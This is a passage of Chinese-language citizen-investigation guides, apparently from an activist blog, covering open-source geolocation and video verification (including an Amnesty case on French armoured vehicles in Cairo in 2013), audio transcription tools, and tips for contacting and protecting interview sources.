- “透明度革命” 是被放在 "列表-5 “直接行动”" 中的，因为我们始终认为它是最有效的反抗形式，该列表中包含 “Wikileaks” 板块，它是全世界最好的吹哨平台

1. 关于 “Hacking Team” 是一个专栏内容

- 关于 **Hacking Team** 的泄漏邮件的开源情报数据分析演示：《想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕》

1. 这些美国政府内部备忘录也是 Assange 被起诉的原因之一，在这里看到引渡听证会笔记《“他们射杀儿童，而营救的人却受到了惩罚”（上）》

- 《间谍公司、被入侵的手机、被泄漏的密码（下）》

1. 在这里看到更多相关内容的汇总 列表-4 “协助暴政的家伙们”
2. 5个短视频采访 M.C. McGrath

- 通过查看 Wikileaks 托管的 ICWATCH 数据库来探索 ICWATCH 上的数据

1. 要查找全球公司的注册信息，在这里看到列表；

- LittleSis是一个免费的数据库，连接世界上最有权势的人员和组织之间的点，您能看到这些权势之间的关系；
- OpenCorporates 是一个旨在收集世界上所有公司信息的数据库。该数据库目前提供了65个不同司法管辖区的5千万家公司的信息。在 OpenCorporates 上可以找到的信息包括公司的成立日期、注册地址和注册页面，以及董事和高级职员的名单；
- TheyRule 是一个网站，提供美国最大的公司的交互式可视化图，帮助您了解每家公司中谁拥有权力，以及公司高层个人之间的关系。TheyRule 还提供了各种机构和基金会的相关数据，揭示了谁隐藏在美国的游说团体和智囊团背后；

1. Treasure Islands：避税天堂和偷走世界的人

- Andrew Feinstein 的 《The Shadow World》是一个非常优秀的调查成果，可以供您学习；在 Corruption Watch UK 看到更多 Andrew 的作品

1. 您可以在我们的 "列表-5 “维稳面面观” "中看到详细的案例和经验教训分析
2. 您可以在我们的 "列表-5 “长读报告” "板块中看到一些中文版的相关报告
3. 不要错过《直接行动手册》

上述这些方法是调查人员正在使用的许多方法中的一部分，以寻找或创建不对外的数据。在下一部分内容中，我们将探讨收集这些数据的技术和分析数据的方法。〇

—— 未完待续 ——

原文

如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）- iyouport

公民调查指南-不再吃瓜思考方式

【2020年12月3日存档】通过视频制作单个全景图像的教程可帮助进行信息验证和追踪定位。有视频演示

【注】这是大赦国际的简易指南。此前我们曾经演示过一个类似的调查方法，在这里看到（这篇文章第二部分的案例）《“谷歌地图”是比詹姆斯邦德更棒的间谍》。

今天的内容相关的调查案例演示，您可以在这里下载：https://www.patreon.com/posts/gong-min-diao-de-43694220

所需工具：

- 屏幕抓取工具（比如 Jing）
- 演示文稿软件包（Keynote、Powerpoint、Google幻灯片或类似软件）
- 来自 Google Earth Pro 的开源卫星图像，或任何可用的地图工具的卫星图模式

技能水平：基础

任何拥有智能手机、互联网连接和社交媒体账户的人都可以拍摄记录侵犯人权行为。这就是为什么开源情报对人权调查如此有用。

互联网能让人权迫害的调查覆盖全世界的所有角落 —— 只要现场有网络用户上传了证据。但是，人们上传的所有信息都必须经过验证，必须确认为真实、与描述一致。尤其是人权维护者无法亲自前往的那些地方，比如战区、比如突发性群体事件后被封锁的地区、再或者长期封锁的地区，如中国的新疆。

这就需要人权维护者有时不厌其烦地查看一系列的视频，逐一进行开源情报验证，以确定事情发生的确切地点和时间。

- 关于视觉信息真伪验证的技巧 汇总在 列表-3 “让它民主” 中

这些视频大多是由碰巧在事件现场的业余爱好者拍摄的 —— 他们自己可能会受到惊吓或面临危险。这意味着拍摄质量可能很差，动作快、手抖、曝光过度、曝光不足、相机像素质量太低 …… 等缺陷。

再加上业余拍摄任何暴力行为的视频 —— 如冲突中非法杀害平民、酷刑或警察暴行 —— 都会给人带来创伤，尤其是反复观看。

构建视频的全景图，可以让调查人员反复查看地理定位现场所需的周围地形，能够更清晰地看到验证线索，也不至于受到残暴画面的心理伤害。

以下是大赦国际如何对2019年3月18日的一段视频进行地理定位的方法，该视频显示了美国在索马里东南部下谢贝利地区发动空袭的后果。这次袭击造成三名农民从农场返回摩加迪沙、Leego 和 Yaaq Bariwayne 的家中时丧生。

大赦国际对它进行了编辑，以避免显示在袭击中丧生者的尸体。简要地看一下这段视频就会发现，它移动得很快，但可以看到大片的风景。📌 这是对视频进行地理定位的关键 —— 但需要反复观看才能找到索马里偏远地区的准确位置。

创建全景图需要时间，但最终您会知道，这是值得的。虽然市场上有多个工具声称能够做到这一点，但通过对视频进行屏幕抓取，并将其放置在演示软件包中，可以做得做更快、更精确。

本演示使用的是 Keynote，但您也可以在 Powerpoint 或 Google Slides 中完成。

要拍摄视频的屏幕截图，推荐 Techsmith 创建的免费工具 Jing；这让您也可以对屏幕截图进行注释，以突出特点。

过程是这样的：

「图」

1、逐帧浏览视频 —— 在 VLC 或 QuickTime 播放器中 —— 只需使用光标即可执行此操作。每当场景发生很大变化时，请截图。

2、收集到足够的图像后，将它们全部导入到您的演示文稿软件包中。

（在Mac上导入 Keynote 的图像）

3、然后花一些时间将图像分类为全景图像。

4、地球并不是平的，所以玩转图像的角度可以帮助您看得更清楚。Keynote 中有一个旋转工具，您可以根据需要移动图像。

用于旋转图像的选项在 Keynote 上方、Powerpoint是下方

5、进行少量的移动和旋转，就可以构建视频的完整全景图，从而避免重复查看视频中最差的元素。

有了全景图，您就可以开始使用开源卫星图技巧对目标事件进行地理定位，关于地理定位技巧，您可以参见 列表-5 中的 “侦探挑战” 中，这些内容通过案例演示以提供技巧。

快速总结一下本案例中所做的事；水塔和蓝顶结构在图像中脱颖而出。只要对视频来自的地区有一个大致的了解，再加上 Google Earth Pro，您就可以准确定位水塔与蓝顶结构的地理位置关系。然后，您还可以对准结构周围的树木，推断并确认空袭中被杀死的三名农民的具体位置 —— 让调查结果更有分量。

就这一具体案件而言，大赦组织还就3月18日的袭击事件采访了11人 —— 亲自或远程采访，包括死者的家庭成员、到过现场的人、以及 Hormuud 电信公司的工作人员，其中一名男子也在该公司工作。

此外还评估了媒体报道、美国政府声明、购车记录、官方身份证和医疗记录。📌 所有这些证据都有助于建立一个可靠的证据链，使调查人员能够记录在无法进入的地点发生的侵犯人权事件。

☞ 我们正在进行一份重要的指南系列 “解码秘密”，以系统性地讲述公民调查的直接行动如何才能更好地完成任务。不要错过哦。

更多公民反抗行动力的技巧和实践，请参见 列表-5 “直接行动”；关于信息验证的技巧汇总在 列表-3 “让它民主”。

下面是一个比较标准的信息验证和追踪案例。“标准” 的意思是，这个模版能在大多数情况下适用。

在埃及追踪法国军车

「图」

调查人员发现了埃及镇压部队在2012年至2015年期间使用法国提供的夏尔巴人和MIDS军车暴力镇压该国异议人士的证据。

- 不要错过重要内容！《镇压部队最常用哪些武器对付抗议者？-概览》

这项研究的一部分涉及到大赦国际的数字核查团，这是一个在世界各地大学接受社交媒体核查培训的志愿者网络。加州大学伯克利分校和多伦多大学的DVC成员分析了该国20多个小时的视频录像和几百张事件照片。

加州大学伯克利分校人权中心的DVC实验室负责人 Nickie Lewis 解释了如何分析这些视频之一。

公开来源的信息是侵犯人权行为调查方法的一个组成部分，该调查表明，2012年至2015年期间，法国提供的装甲运兵车被埃及镇压部队以致命的方式反复使用，以暴力驱散抗议活动，镇压该国的不同意见。

如何查找公开来源的信息和核查信息的技术是关键。 这是一项长达一年的调查，目的是证明法国提供的夏尔巴人和MIDS军车在2012年以来埃及发生的一些最血腥的国内镇压事件中被使用。为此需要核实数百个张贴在社交媒体网站上的视频和图片，以及新闻机构的报道。

2013年8月14日，在穆罕默德·穆尔西被赶下总统职位仅一个多月后，镇压部队就使用了严重过度的致命武力驱散前国家元首的支持者在开罗和吉萨的两次静坐抗议。

据信，埃及镇压部队当天就打死了多达**1000**人。

镇压部队从早上6点左右开始驱散人群，但花了几个小时才驱散开罗 Rabaa al-Adawiya 广场最大的静坐人群。为此，镇压部队使用了催泪瓦斯、猎枪和实弹。

摄像机拍下了这一暴力事件，包括在纳斯尔市 El Zohour 清真寺附近的 Youssef Abbas 街上拍摄的一段视频 —— 非常靠近发生大屠杀的拉巴广场。在这段视频中，可以看到一辆 Sherpa LS 军车被用来支持

中央镇压部队的部署 —— 可以清楚地看到警察向示威者开火。

下面将重点以这段视频为案例，以展示调查人员是如何验证内容的，通过分别识别报告中提到的每段视频的地点、时间、人物和内容来完成。

地点 WHERE

「图」

核查中最具挑战性的要素之一是定位视频的拍摄地点。这被开源调查人员称为地理定位。

📌 为了做到这一点，您需要在内容中搜索显著的特征 —— 这可以是建筑结构特点、固定装置、或商业和街道的标志。在这段视频中，显著的特征包括在1:20出现在视频中的铁轨。

在视频中的4:27，可以看到一座清真寺：

开罗是一个超级大都市。如果使用最常用的地理定位工具 —— 如谷歌地球专业版—— 搜索开罗的所有清真寺，将不得不找上几个小时，犹如大海捞针。所以，考虑通过缩小开罗事件发生的地理区域来节省时间。

先 **假设** 这段视频是2013年8月14日在 Rabaa al-Adawiya 广场或附近拍摄的，开始在谷歌地球上研究广场周围的卫星图像，希望能找到火车轨道或清真寺。

通过谷歌地球的搜索找到了 Rabaa al-Adawiya 清真寺，如下图所示，这就缩小了调查需要关注的区域。

然后，调查人员在 Rabaa al-Adawiya 清真寺周边地区寻找那些显著的特征。在地图上看到了一个圆形的形状，把它放大后，可以确认那就是清真寺和绿色屋顶的建筑。

然后回看视频，确认这就是视频中所显示的清真寺和目标建筑物，识别到绿色建筑的圆形屋顶和尖塔旁一栋建筑顶部的特征。这个清真寺的GPS坐标是 30.069245，31.318389。这样就可以确定，这段视频和视频中描述的事件就发生在这一带。

人物 WHO

「图」

仅仅知道视频的位置是不够的；同样重要的是核实和确定视频中所显示的个人和群体。所以，还必须确认2013年8月14日埃及镇压部队就在这个地理定位区域附近出没。

与地理定位一样，再次通过观看视频以发现穿制服的维稳警官。一旦找到了这些，📌 就可以通过查看这些警官的制服，以确定他们服装的独特配件或独特特征，可以用来验证他们 **确实属于** 埃及镇压部队。

在视频的1分23秒可以看到穿着全黑制服的警员，右臂上有一个明显的标记。大约20秒后，看到其中一名警官转过身来，露出背上写着的“警察”二字（拉丁文）。

当了解到这段视频的政治背景时，就可以直接知道从新闻文章中搜索相关图片以帮助确定这些人是埃及维稳部队。然而为了印证这些新闻图，调查人员继续在互联网上搜索了“2013年8月14日埃及警察”，寻找更多的图片。

从BBC的一篇文章中看到了一张图片，图片上显示了一个身穿全黑衣服的男子，肩膀上的袖章显示：埃及警察。然而，视频中的截图并不清晰，无法辨别是否和新闻照片中的袖章一致。然而，这些人就出现在那个背上写着“警察”的人旁边，而且都在参与同一个行为 —— 开枪 —— 这一事实足够得出结论，这些人都是埃及警察或镇压部队的一部分。

看到这些人或与他们穿着相似的人在该视频6:00分钟时再次出现，这将在后文中的“WHAT”部分作为相关内容。

时间 WHEN

「图」

还必须确定这个视频是否在它所声称的日期拍摄的。

YouTube 上显示这段视频是在2013年8月14日上传的，上传者在标题中表示视频展示的是2013年8月14日的事件。然而，仅有这些信息是不够的，调查需要用确凿的证据来验证这段视频是否发生在2013年8月14日。

在互联网上进行“埃及开罗2013年8月14日 · 新闻”的搜索，以查找是否有可靠的新闻机构报道了这一天的事件。

搜索结果显示，纽约时报、卫报和路透社的文章都报道了2013年8月14日埃及镇压部队在 Rabaa al-Adawiya广场附近枪杀平民的事件。

事件 WHAT

「图」

如上所述，视频中埃及军队使用的一些车辆来自法国的雷诺卡车防务公司。需要注意的是，视频中出现的其他装甲车是埃及制造的。同样，当通过视频观看时你能遇到多辆装甲车，但为了这里的简洁，下面将展示如何验证其中一辆装甲车的步骤。

在视频6分钟左右，可以看到被确认为埃及镇压部队的部分人员在两辆大型军车旁边。在下面的截图中识别出较小的军车：

针对车辆的核查过程与地理定位类似。 📌 目标是确定目标车辆的明显特征，然后尝试从可靠来源中找到并将这些明显特征与目标车辆相匹配。在这里看到此前的一个演示案例：《那辆军车正驶向哪里？：侦探挑战时间》。

调查人员对国际上的军用车辆型号不熟悉，所以求助于网络搜索来帮助。一开始选择了“埃及军车”进行搜索，认为它可以提供一份埃及政府在21世纪使用过的军车清单。然而，并没有找到做这种统计的网站。

接下来扩大搜索范围，选择“军队和军用车辆”这一短语，找到了一个列出各种车型的网站。调查人员勤奋地在这个数据库中搜索，试图找到与视频中车辆相似的资料。说实话，这项工作只能通过试错来完成，因此可能要花上几个小时的时间。最后终于找到了一辆车，这辆车的顶部有一个明显的特征，两侧后视镜、一个倾斜的挡风玻璃和类似的大灯。

那个网站说，这辆车是由雷诺卡车防务公司生产的（雷诺卡车防务公司在2018年5月底更名为 Arquus 防务公司）。为了仔细核实该网站的可信度，调查人员进入雷诺卡车防务网站，在他们的网站上找到了这辆车。

的确，视频中的这辆车和雷诺卡车防务网站上的这辆车都有相同的功

能，如下图彩色框所示。雷诺卡车防务网站上写着，这辆车是 Sherpa Light Scout。

通过对视频的各个方面进行核实，并通过以上研究表明，埃及镇压部队于2013年8月14日在开罗 Rabaa al-Adawiya 广场周围使用了一辆法国制造的装甲车 Sherpa Light Scout。

📌 注：本系列内容的主题是思考方式，通过解释和案例演示以表明公民调查人员如何使用开源情报方法，希望读者可以抓住这个要点。并且，我们正在同步进行的另一个系列内容《解码秘密》也同样重要，那是一个系统性指南，它旨在通过解剖框架、提供工具和资源，以帮助您激发灵感。〇

—— 未完待续 ——

原文

推荐一些好用的音频转录工具：公民调查指南（2）- iyouport

公民调查指南-不再吃瓜

【2020年3月20日存档】这里是技术篇，后面将继续技巧方面的介绍

如果您还没有读过第一部分，可以在这里看到《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》。

公民记者也需要很多实地采访、参加会议、或者打电话，与此同时你需要录音，以避免错过或遗忘任何细节。

此后你需要整理大量的音频，将他们转换成文字，可能会花费你很多精力。尤其是，如果对方讲方言或者外语，也许整理起来会更麻烦。

本文将推荐一系列工具，来自哥伦比亚大学 Tow-Knight 创业新闻中心主任 Jeremy Caplan 的总结，可以加快您的速度，其中有一些是支持多语种和方言的，方便您接触更广泛的采访对象和演讲者。

选项1：在线转录音频或视频

OTranscribe.com 是最简单的免费网络转录应用。

首先上传音频或视频文件，或直接输入 Youtube 链接就行。然后在键入时以您喜欢的速度播放音频。

键盘快捷键使您可以轻松地暂停、后退或插入时间戳，把听不清楚的部分标记下来，回头再核查。

oTranscribe 可在浏览器中运行，因此您无需下载任何软件。

还有一项名为**Transcribe的**类似服务也是在浏览器中运行的，在为期一周的免费试用后，每年的许可费用为20美元。

选项2：使用自动转录服务

Trint.com 会获取您的音频或视频，并且快速进行相比下很准确的转录。

我用两个录音测试了该服务。第一个是五分钟的录音，声音很干净。第二个是30秒的音频文件，嘈杂难以听清。结果是，在这两种情况下，转录质量都非常好，只需要进行很少的标点编辑即可。

用于编辑转录文本的用户界面直观且设计合理。您可以导出多种格式的文字（包括比如 用于 YouTube 字幕的）。

30分钟的免费转录后，费用为每小时15美元，或每月40美元。

此外，由两名欧洲学生开发的 **Happy Scribe**是自动转录的另一个有趣的选择。这项服务的价格仅为每分钟 0.10 美元。

Happy Scribe 允许80种语言和口音。该公司报告说，已有4,000名记者和研究人员使用了该服务。

上传五分钟的测试记录后，我收到的自动转录效果非常好，只需要很少的编辑即可。

Speech to Text

IBM人工智能系统Watson实验性推出的免费转录工具 Speech to Text。用户无论主动上传文件，或是实时语音对讲，它都能帮你即时转录。

这个工具适用包括中文在内的八种语言，还可以识别不同人说话的声音，并且自动分段。

但是，比起 Trint 或者 Happy Scribe、Speech to Text 来说，它比较难用。因为转录的过程中无法随意暂停并编辑转录出的文本。

选项3：使用应用程序生成快速转录

Cassette 是一款优雅的应用程序，由 Stanford d.school 和 UCLA Cognitive Science 的设计师与 David Kelley（IDEO和d.school的共同创始人）合作完成。

它可以使用多种语言（西班牙语、法语、中文、日语、葡萄牙语）工

作。

创始人测试的准确度约为90％，并将每小时成本定为3美元。转录的前半小时是免费的。

Anchor是一种越来越流行的应用程序，现在，您可以使用它来创建音频视频的文本。对于社交共享特别有用。

Steno 是一个iOS应用程序，您可以用来录制演讲、访谈、会议或其他任何内容。有30分钟的免费转录。之后，您只需支付$ 0.99即可获得50分钟的转录时间，或支付$ 6.99来获得500分钟的转录时间。

Cogi是另一个有用的免费应用程序，可用于录音、通话记录和转录。

它具有几个方便的功能，包括“倒带”功能。

缺点可能是小贵。根据您的订阅计划，从每分钟1.20美元到2美元不等。

选项**4**：录制通话，然后转录

NoNotes.com 可让您记录所需的呼出电话。每月收费8美元，然后，您可以支付$ .75 /分钟，在三天内转录任何电话（或支付额外费用以获得更快的服务）。

TapeaCall.com 也提供类似的通话记录功能，每年10美元。您可以使用其他转录服务之一来转录录音。TapeaCall 将它们的功能与其他一些类似应用程序进行了比较，如下：

选项**5**：使用简单的听写工具

如果您使用 Chrome 浏览器，那么可以试试 **Google Docs** 它在转录语音方面做得很好。

只需在任何文档上转到“工具”」“语音输入”菜单命令即可。

要进行翻译，您可以将其与同一菜单上的Google文档自动翻译功能结合使用（工具」翻译文档）。

Speechnotes 是免费的，并且可以很好地自动和立即转录您所说的文本。

口述文字后，您可以打印，通过电子邮件发送或将其上传到 Google 文档等。另外还有一个10美元的 Chrome扩展程序，可让您听写其他网站。

Speechlogger 是一种用于识别和/或翻译口语单词的网络应用程序。

还有，**autoEdit 2**是一个开源工具，可转录视频，然后让您通过编辑文本进行编辑。

PodcasterPro 用来转录播客。除了播客的 RSS URL 之外您不需要任何技术信息。

选项6：只能听政府报告/党代会之类的内容

“讯飞语记”，这款APP的操作很简单，点击“创建笔记”，按下语音按钮，软件自动转换文字。

官方说法是 “识别准确率高达95%，且支持普通话、英语、四川话、粤语等方言”。

“讯飞语记” 转文字很快，如果语速适中、吐字清晰，识别率会大大提升，但是，英语的识别成功率低于中文。

它缺点是语音稍停，转换也会随即停止，因此适合转换短小、连贯、清晰的语音。最好是录音完毕后，用另一台手机转文字，时刻注意重新开启语音按钮。

⚠尤其提醒注意的是，音频内容会上传到服务器，所以，任何重要的采访都不建议使用它。

好了，现在您可以选择适合您的工具。下一部分内容我们将继续介绍让公民掌握调查优势的一些技巧。下次见。〇

原文

你的对话容易出现哪些错误？ — 应该说的和不应该说的话：公民调查指南（4） - iyouport

公民调查指南-不再吃瓜

【2020年4月23日存档】每一种失败都是有原因的。你可能哪里做错了却自己不知道。公民调查人员需要更多的努力，因为您没有大牌企业媒体的面子、也没有官媒喉舌的腰杆。但是，懂得人会选你而不是他们，因为你能说出真相

如果您还没有读过或忘记了本系列此前的部分，可以在下面回顾：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》

我们曾经一直以来着重于强调 *开源情报* 为公民独立调查人员所使用的能力，是的，它们都是可在线的操作 —— 不管您是一个人或团队合作，坐在屋里就可以办到的。

但是，必须说清楚，⚠对于真正的调查工作来说，仅仅坐在屋里是不够的。

您需要与人接触，才能丰富对信息的理解。

它的步骤大概是这样的（简化版）：

- 你发现了一个主题
- 你提出了有待验证的假设
- 你搜寻公开资料来验证这一假设（这个部分是开源情报）
- 最后，你通过积极地与人接触来丰富你的理解

没错，如果没有最后一步，整个调查流程是严重不完整的。

我们知道，互联网看起来无比地“方便”，以至于越来越的调查者足不出户就能发表惊人的报告（就像我们在“开源情报”栏目中所演示的那样 —— 跨国搜寻）；但这仍不能代表真正的调查，相反，依赖于网络是必须被警告的。

因为这里有很多坑。包括技术本身的陷阱（比如算法专制，如果您避免得不够好的话），也包括您自己的思维陷阱（每个人都有这无需质疑）。

- 不要错过《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》

尤其是：⚠最激动人心的消息往往不在公开信息源中—— 它在人的脑袋里。

作为公民记者，您怎样才能找到拥有这些消息的人？怎样让他们将自己知道的东西告诉您？

☞请不要低估这些技巧的价值。并不是所有人都具备这些技巧，而你的调查工作能将它们发展到一个很高的水平。

也不要滥用这些技巧，不要忘记：作为一名公民记者，你可能会伤害一些人—— 伤害他们的感情，影响他们的生计，甚至威胁他们的人身安全。务必不要仅仅因为他们选择了与你谈话就伤害到他们。

💡本文将要考虑的是成为一名“有价值的见证人”的艺术—— 可以让信息源安全并有效地对话的那种人。也就是本系列第一篇文章的标题《不再吃瓜：把你的围观变成利器》。

绘制信息源地图

「图」

大多数调查者寻找采访对象时是通过阅读对事件的第一则报道，找出里面提到的人名，然后给他们打电话。

⚠结果就是，这些少数几个信息源可能每天会接到几百个电话，当他们拿起电话的时候，能对第一百个打电话的人说出什么任何新东西吗？不能。所以为什么不去找一些其他人没有采访过的人呢？

☞你利用公开信息源所做的工作能够给你提供一个名单，上面列出的是一些值得采访的更加有趣的人。

比如，要调查一家公司，你可以先阅读针对该公司及其最强对手地位的金融分析报告。

接着，和分析师谈谈，然后和它的竞争对手也谈谈。通过他们、以及报道该行业的媒体，找到谁离开了这家公司，跳槽或者退休都可以。（美国著名调查记者 Seymour Hersh 就是通过退休通告找到了美国中情局的许多信息）

通过这些信息源，找到仍然在公司中并愿意接受采访的人。

☞建议您尽快绘制一个简单的信息源地图，即与你的报道直接相关或可能直接相关的所有人的图示。

这个地图看起来就好像一个有许多房子的村庄，房子里的人互相都认识，而这个村庄就是故事发生的地方。

你可以做得简单些，也不必再进一步复杂化。（就算是一个只需要几分钟来准备的简单地图，也可以给你的大部分竞争带来优势）

☞当你绘制一幅信息源地图的时候，用它来展现报道中人物的关系，这样一来，如果一个信息源的采访遇到障碍，你可以去找另一个能够越过此障碍的信息源。

☞当你的地图上的一个部分接受了你的采访，其他部分接受你采访的可能性就会增加。

给信息源一个说话的理由

「图」

那些知道有意思的事实或故事的人可能有充足的理由不回答你的问题。

通常来说，他们不知道你是否专业、负责、公正（这些怀疑都是合理的，因为不少职业记者就是不专业不公正不负责）。

其次，你对信息的使用可能会危及采访对象的工作、人际关系，甚至是人身安全。

你需要考虑所有这些。

所以，当对方犹豫是否该和你说话的时候，请记住：你可能给他们带

来最糟糕的后果。

⚠人们拒绝接受采访并不是一件令人惊讶的事，事实上，如果大多数人在大多数情况下愿意接受采访，那才是真正令人惊讶的。

人们为什么会接受采访？

「图」

一般有两条理由，老编辑称之为 “得意和痛苦”。

你必须让你的信息源有机会满足其中的一条。

◆ 有东西令人们兴奋的时候，他们就会说话—— 他们发现的一个足够炫目

的东西时、他们已经取得或即将取得成功时、他们制定的一项拯救世界的计划时 …… 等等。

讨论这些话题能让他们觉得快乐、感觉被重视，或二者皆有。

◆ 或者，就像医生们所知的那样，人们处于痛苦之中，亟需有人帮忙的时候，他们会说话。

通常，痛苦比得意更强大，这就是为什么在大多数调查中第一个接受采访的人往往是受害者—— 那些遭遇冤屈的人，或那些价值观被自己所见到的东西深深冒犯的人。

☞此外，还有一个让人愿意和你说话的原因，那就是：对方深深相信这样做是安全的。

为了达到这一点，并将其一直保持下去，你必须和信息源建立一种关系。

在这种关系中，你们在一些事情上彼此信任，近乎可靠。你和你的信息源都可以给对方提供信息，并作出一些许诺。⚠不管你的信息源有没有遵守他们的许诺，你必须遵守你自己的。

这不仅是职业责任，还是品质问题。你必须是出于本能地可信赖，否则人们会觉得他们不能信任你。

下面我们简单介绍一下步骤。

初步接触：准备和邀请

「图」

1．为会面做准备

与一个信息源最安全的沟通方式是面对面的会面（除非你的信息源有明确的威胁性，比如杀人狂—大多数时候你不会遇到这种）。

你初步接触的目的是让会面得以实现。在第一个电话之前，你应该利用公开信息源研究一下这个人，以及相关议题。

关于人 ——

在开始之前您最少应该 Google 一下您的采访对象 —— 任何有关该信息源的新闻报道和其他文章都必须被查阅；如果数量太多，挑选一些重点出来。

这里的目的是展现你对他的兴趣，以及对他（她）职业的了解。

不要在采访中让信息源详述那些尽人皆知的职业历程，在你到达之前就应该了解这些。

☞如果信息源给新闻媒体或专业出版物写过文章，把它们找来阅读。即使是守口如瓶或害羞的人也会在写作时展现他们的个性、价值观以及他们关心的话题。

并且，这些材料能提供一些假设，在随后的采访中进行验证。

你应该了解与议题相关的最新新闻和公开声明。你不需要成为一名专家，但你必须展现出自己对于信息源所在的世界使用的语言中关键术语的认识（如果不是理解的话）。比如你采访的人是民间的翻墙软件制造者，您至少需要知道 PPTP，L2TP／IPsec，OpenVPN 等等，都代表什么。

接下来你可以请信息源向你解释这些术语。

2．进行联系

可以通过电话或信件联系—— 但仅仅联系信息源的家，不要打电话到他（她）的工作场所，除非你绝对确定这是安全的。他（她）的老板可能在监听，电话可能被追踪（在这里看到这件事可以有多可怕

《他们是如何抓捕说真话的人？⚠灾难和教训》）。

⚠电子邮件也是这样，即使内容本身不敏感，因为老板很容易查到谁收到了一封来自记者的邮件。

调查绝不是在纸上谈兵。我们曾经目睹一个调查团队对一个据说专制、偏执、腐败的官员进行调查，他们给他的秘书的办公室写信，请秘书帮忙。秘书拒绝了，但是，当官员发现这项调查的时候（被调查的人总是会发现的），你认为他会怎样对待那个可怜的女人？……

☞在进行联系之前，想想怎样介绍你自己。你必须告诉信息源你是谁，你在做什么，你对自己任务的信心，以及你获得成功的能力。

你不需要直接这么说，⚠但你需要有一种感觉：在采写和发表这篇报道之后，这个世界将变成一个更好的地方。

这很重要。

⚠以下是一些正确的和错误的例子 ——

✕ 错误："我想问你一些事，如果不是太麻烦的话……"。

错在哪里？—— 你不是想问，而是要直接问。你不能给信息源这样的暗示：跟你说话意味着麻烦，你在提问时感到羞愧。

✓ 正确："你好，我叫×××，我是××平台从事调查工作的人，我在做一篇关于××的报道。我相信这是一篇很重要的报道，我希望完整、准确地报道它，我们什么时候可以见面讨论这件事？"

对在哪里 —— 你介绍了自己，并完整介绍了自己的目的，你让信息源有很好的理由和你谈话。

你不是问"我们是否可以见面"，而是问"何时见面"。你不用"采访"这个词，这个词会让信息源把他（她）的名字和报纸标题以及将要到来的一连串麻烦联系起来。

如果你不是为某一个特定媒体工作的话，你可以说你曾经在哪家媒体工作过。

☞如果你是公民记者、没有在任何媒体工作过，你可以说你的报道将在哪里发表。

请记得：你为谁工作并不重要，重要的是你如何工作。

✕ 错误：“请帮助我，您是唯一可以帮助我的人！”

错在哪里 —— 如果其他人都不愿意帮你，你又不能自救，我们为什么要帮你呢？

✓ 正确：“我知道您是这方面真正的专家，我非常欣赏您的洞察力。”

对在哪里 —— 你在恭维你的信息源，但这种恭维是合理的，没有理由不去做。你还让他（她）知道你拥有其他的信息源，可能也是同样的专家。给对方一个竞争的暗示，大多数人会被激发兴趣。

基本原则：

永远假定你是一个有魅力的人，正在做一件重要的事，任何人都很高兴遇到你。如果这对你来说太困难了，也许您不适合做这项工作。

3．在哪里见面

如果找不到与信息源会面的地点，或是他（她）拒绝与你会面，或者没有理由地推迟会面时间，请考虑让自己出现在信息源无法走开的地方。

如果他（她）在打官司，你去法庭；如果他（她）是教授，你去课堂。曾经有一个法国高官在几个月的时间里都在拒绝与记者见面，最后记者去了一个办公室，他每周都在那里与选民开会。

记者在队列中等待，当轮到记者进入办公室的时候，记者说：“我们是队伍的末尾了，你还有 20 分钟，我们开始谈吧”。他笑了，说 “好的”。

☞如果信息源愿意与你会面，去他（她）家或其他的他（她）认为舒服的地方。如果调查跟信息源的工作有关，而他（她）的单位知道这场采访，那么他（她）的办公室通常是最好的地点。

办公室将展现出关于信息源的许多信息—— 他（她）读什么书，他（她）的

口味，他（她）将怎样应付打断采访的人，等等。（在 Connie Bruck 对华尔街的标志性调查中，揭示信息的时刻之一就发生在一个金融家没有理由地对自己的秘书尖叫的时候）

开始一段关系：目标和角色

「图」

⚠在新闻的世界里，记者与信息源的关系经常就像是一夜情之后就消失不见的讨厌伴侣。在灾难场景中更是如此，记者们大量无序地抵达，践踏视线中的一切，在评论当地的饮食、饮水和风俗有多坏之后，转身就走了。

调查记者并没有努力成为理想情人—— 严肃地说，和你的信息源睡觉、调情几乎总是一个糟糕的主意—— 但他们肯定在寻找一种更稳定、长期的关系。

因此，一段关系的开始是一个关键时刻，它很大程度上决定了接下来会发生什么。

始终保护信息源的匿名

在调查中，你能做的最重要的一件事是保护信息源的秘密，他们可能因为与你联系而陷入危险。

当信息源请求匿名的时候，这种要求就更加强烈。

承诺匿名意味着你必须努力使用 **一切方法** 避免留下信息源的踪迹。⚠这包括当你的电子设备被警察或律师拿走的情况。

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相时，必需的基本防护方案》

🌤下列方法您可以使用：

A / 不要打电话到信息源的工作场所，这些电话很容易被追踪。要做到高程度的安全，你们双方都必须使用预付费的手机。如果没有，使用一次性匿名的加密通信账户。

B / 避免用电子邮件联系。那就像发送一张明信片。而PGP可能过于显眼，也许会带来不必要的关注。

C / 和信息源在安全的地点见面，保证你们被认出的概率是最小的。

D / 给信息源取一个化名，或编号（信息源 A、信息源 B）。不要在讨论或笔记中使用信息源的真名。

E / 将与信息源相关的所有材料锁起来，理想的地点是那些不会被认为与你有关的地方。

设定你的目标

在第一次会面之前，明确自己想要达到什么样的目标。

这一目标最少需要包括：

你希望获得的有用处的东西。

☞可以包括文档、秘密（confidences）、解释性的洞见或分析，以及需要进一步联系的信息源名单。

♦ 在一次会面中，你可以只寻求有限的东西。就如研究法国情报机

关的调查专家 Philip Madelin 所说的那样，在一场典型的采访中，他只寻求确认或提取一条信息。

♦ 或者，你可以寻找最大数量的东西，取回每一个目力所及的文档。在这

种情况下，确保你的信息源知道你为什么带走它们。

♦ 通常，在一次会面中寻找的最后一件东西是下一个采访对象的名字和联系方式。专业人士经常会说："谁对我们所讨论话题的洞见让你钦佩呢？你知道我们怎样可以联系到他们吗？"

你希望向信息源展示的关于你的计划的东西。

☞建议你遵照英国外交的这三条规则：

♦ 不要撒谎。

除非绝对必须，否则不要给出虚假的信息。

记住：当一个谎言被发现，你将遭遇的后果可能是从房间里被撵走，也可能是被暴揍、被酷刑 —— 这是巴西一位暗访记者在与毒贩会面时摄像机被发现之后发生的事。

♦ 不要说出全部的真相。

